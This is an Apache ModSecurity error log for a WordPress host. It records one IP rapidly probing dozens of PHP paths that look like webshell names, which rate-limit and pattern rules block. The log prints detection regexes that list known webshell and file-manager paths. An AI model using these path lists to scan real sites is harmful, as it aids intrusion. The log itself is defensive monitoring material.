[Thu May 14 04:43:42.763313 2026] [:error] [pid 11588:tid 11664] [client 52.139.38.158:41662] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agTiftUr21rOixkeGKb2-AAAAIw"]
[Thu May 14 04:43:43.298734 2026] [:error] [pid 11581:tid 11620] [client 52.139.38.158:41610] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agTif_0vF48FbzpvQMV9zgAAABc"]
[Thu May 14 04:43:43.793845 2026] [:error] [pid 11588:tid 11662] [client 52.139.38.158:59771] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agTif9Ur21rOixkeGKb2-gAAAIo"]
[Thu May 14 04:43:44.429177 2026] [:error] [pid 11588:tid 11660] [client 52.139.38.158:41561] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "agTigNUr21rOixkeGKb2_AAAAIg"]
[Thu May 14 04:43:45.854127 2026] [:error] [pid 11588:tid 11657] [client 52.139.38.158:59712] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "agTigdUr21rOixkeGKb2_wAAAIU"]
[Thu May 14 04:43:47.060479 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:37522] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "agTig1MY49UWn5BpqVYyVAAAAQk"]
[Thu May 14 04:43:48.086929 2026] [:error] [pid 63033:tid 63040] [client 52.139.38.158:59743] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "agTihFMY49UWn5BpqVYyVgAAAQU"]
[Thu May 14 04:43:49.778438 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:47765] [client 52.139.38.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "agTihVMY49UWn5BpqVYyXAAAAQM"]
[Thu May 14 04:43:51.010046 2026] [:error] [pid 11588:tid 11670] [client 52.139.38.158:47770] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agTih9Ur21rOixkeGKb3AgAAAJI"]
[Thu May 14 04:43:51.720417 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:59746] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agTih1MY49UWn5BpqVYyYgAAARM"]
[Thu May 14 04:43:52.515744 2026] [:error] [pid 63033:tid 63049] [client 52.139.38.158:47774] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agTiiFMY49UWn5BpqVYyYwAAAQ4"]
[Thu May 14 04:43:54.083230 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:47825] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agTiiinxWuLN8Hptw8ldAAAAAMM"]
[Thu May 14 04:43:54.851877 2026] [:error] [pid 11588:tid 11663] [client 52.139.38.158:47860] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "agTiitUr21rOixkeGKb3AwAAAIs"]
[Thu May 14 04:43:55.705472 2026] [:error] [pid 11588:tid 11671] [client 52.139.38.158:47862] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "agTii9Ur21rOixkeGKb3BQAAAJM"]
[Thu May 14 04:43:57.088801 2026] [:error] [pid 11581:tid 11611] [client 52.139.38.158:59419] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "agTijf0vF48FbzpvQMV91AAAAA4"]
[Thu May 14 04:43:58.691328 2026] [:error] [pid 11588:tid 11660] [client 52.139.38.158:37529] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "agTijtUr21rOixkeGKb3CAAAAIg"]
[Thu May 14 04:43:59.352413 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:41633] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agTij1MY49UWn5BpqVYyZgAAARU"]
[Thu May 14 04:44:00.049545 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:59745] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agTikFMY49UWn5BpqVYyaAAAAQM"]
[Thu May 14 04:44:00.547033 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:47848] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agTikNUr21rOixkeGKb3DQAAAJY"]
[Thu May 14 04:44:01.000753 2026] [:error] [pid 11581:tid 11600] [client 52.139.38.158:59439] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agTikP0vF48FbzpvQMV92AAAAAM"]
[Thu May 14 04:44:01.543105 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:37452] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agTikSnxWuLN8Hptw8ldDAAAAMQ"]
[Thu May 14 04:44:02.021075 2026] [:error] [pid 11588:tid 11668] [client 52.139.38.158:37506] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agTiktUr21rOixkeGKb3EQAAAJA"]
[Thu May 14 04:44:02.533401 2026] [:error] [pid 11588:tid 11664] [client 52.139.38.158:59740] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agTiktUr21rOixkeGKb3EwAAAIw"]
[Thu May 14 04:44:02.988322 2026] [:error] [pid 63033:tid 63039] [client 52.139.38.158:47762] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agTiklMY49UWn5BpqVYyawAAAQQ"]
[Thu May 14 04:44:03.526753 2026] [:error] [pid 11581:tid 11618] [client 52.139.38.158:41608] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agTik_0vF48FbzpvQMV92QAAABU"]
[Thu May 14 04:44:03.973803 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:41661] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agTikynxWuLN8Hptw8ldEwAAAME"]
[Thu May 14 04:44:04.446316 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:59440] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agTilNUr21rOixkeGKb3FwAAAJY"]
[Thu May 14 04:44:04.880166 2026] [:error] [pid 11581:tid 11620] [client 52.139.38.158:59400] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agTilP0vF48FbzpvQMV93AAAABc"]
[Thu May 14 04:44:05.325913 2026] [:error] [pid 11581:tid 11610] [client 52.139.38.158:59756] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agTilf0vF48FbzpvQMV93QAAAA0"]
[Thu May 14 04:44:05.924097 2026] [:error] [pid 11690:tid 11704] [client 52.139.38.158:59747] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agTilSnxWuLN8Hptw8ldGgAAAMU"]
[Thu May 14 04:44:06.595379 2026] [:error] [pid 11690:tid 11715] [client 52.139.38.158:47795] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agTilinxWuLN8Hptw8ldHQAAANA"]
[Thu May 14 04:44:07.162579 2026] [:error] [pid 11581:tid 11608] [client 52.139.38.158:47812] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agTil_0vF48FbzpvQMV94QAAAAs"]
[Thu May 14 04:44:07.693543 2026] [:error] [pid 11582:tid 11633] [client 52.139.38.158:59446] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "agTil_uw2cmFDpGcKhDK6AAAAEg"]
[Thu May 14 04:44:08.310116 2026] [:error] [pid 63033:tid 63049] [client 52.139.38.158:41624] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "agTimFMY49UWn5BpqVYybQAAAQ4"]
[Thu May 14 04:44:09.138089 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:37486] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "agTimSnxWuLN8Hptw8ldJAAAAM8"]
[Thu May 14 04:44:10.083822 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:41638] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "agTimlMY49UWn5BpqVYycwAAARE"]
[Thu May 14 04:44:10.809725 2026] [:error] [pid 11581:tid 11621] [client 52.139.38.158:47796] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "agTimv0vF48FbzpvQMV95AAAABg"]
[Thu May 14 04:44:11.308445 2026] [:error] [pid 11582:tid 11634] [client 52.139.38.158:47864] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "agTim_uw2cmFDpGcKhDK6QAAAEk"]
[Thu May 14 04:44:11.797275 2026] [:error] [pid 11690:tid 11710] [client 52.139.38.158:47817] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "agTimynxWuLN8Hptw8ldLwAAAMs"]
[Thu May 14 04:44:12.629639 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:41609] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "agTinNUr21rOixkeGKb3GgAAAJE"]
[Thu May 14 04:44:13.415293 2026] [:error] [pid 11588:tid 11664] [client 52.139.38.158:59415] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "agTindUr21rOixkeGKb3HAAAAIw"]
[Thu May 14 04:44:14.123399 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:59413] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "agTinlMY49UWn5BpqVYydAAAARU"]
[Thu May 14 04:44:15.676511 2026] [:error] [pid 11588:tid 11662] [client 52.139.38.158:59716] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "agTin9Ur21rOixkeGKb3IwAAAIo"]
[Thu May 14 04:44:17.346323 2026] [:error] [pid 63033:tid 63040] [client 52.139.38.158:47824] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "agTioVMY49UWn5BpqVYydwAAAQU"]
[Thu May 14 04:44:18.278350 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:47759] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agTiotUr21rOixkeGKb3JQAAAJg"]
[Thu May 14 04:44:19.154335 2026] [:error] [pid 63033:tid 63051] [client 52.139.38.158:37463] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agTio1MY49UWn5BpqVYyfAAAARA"]
[Thu May 14 04:44:19.668178 2026] [:error] [pid 11581:tid 11618] [client 52.139.38.158:59728] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agTio_0vF48FbzpvQMV95wAAABU"]
[Thu May 14 04:44:20.111548 2026] [:error] [pid 11588:tid 11665] [client 52.139.38.158:59424] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Thu May 14 04:44:20.566178 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:59424] File does not exist: /usr/local/apache/htdocs/suspended-page/sky.php
[Thu May 14 04:44:20.779468 2026] [:error] [pid 11588:tid 11663] [client 52.139.38.158:59424] [client 52.139.38.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "agTipNUr21rOixkeGKb3KgAAAIs"]
[Thu May 14 04:44:21.432668 2026] [:error] [pid 11588:tid 11659] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/man.php
[Thu May 14 04:44:21.645199 2026] [:error] [pid 11588:tid 11662] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/ws85.php
[Thu May 14 04:44:21.860107 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Thu May 14 04:44:22.114720 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Thu May 14 04:44:22.343782 2026] [:error] [pid 11588:tid 11675] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Thu May 14 04:44:22.555163 2026] [:error] [pid 11588:tid 11653] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Thu May 14 04:44:22.766280 2026] [:error] [pid 11588:tid 11658] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Thu May 14 04:44:22.977501 2026] [:error] [pid 11588:tid 11657] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/ganja.php
[Thu May 14 04:44:23.188852 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:41647] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Thu May 14 04:44:23.499436 2026] [:error] [pid 11588:tid 11654] [client 52.139.38.158:41647] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTip9Ur21rOixkeGKb3OAAAAII"]
[Thu May 14 04:44:23.975291 2026] [:error] [pid 11588:tid 11652] [client 52.139.38.158:37571] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTip9Ur21rOixkeGKb3OQAAAIA"]
[Thu May 14 04:44:24.508767 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:37525] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTiqFMY49UWn5BpqVYyigAAAQw"]
[Thu May 14 04:44:25.020252 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:47849] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTiqVMY49UWn5BpqVYyjAAAARY"]
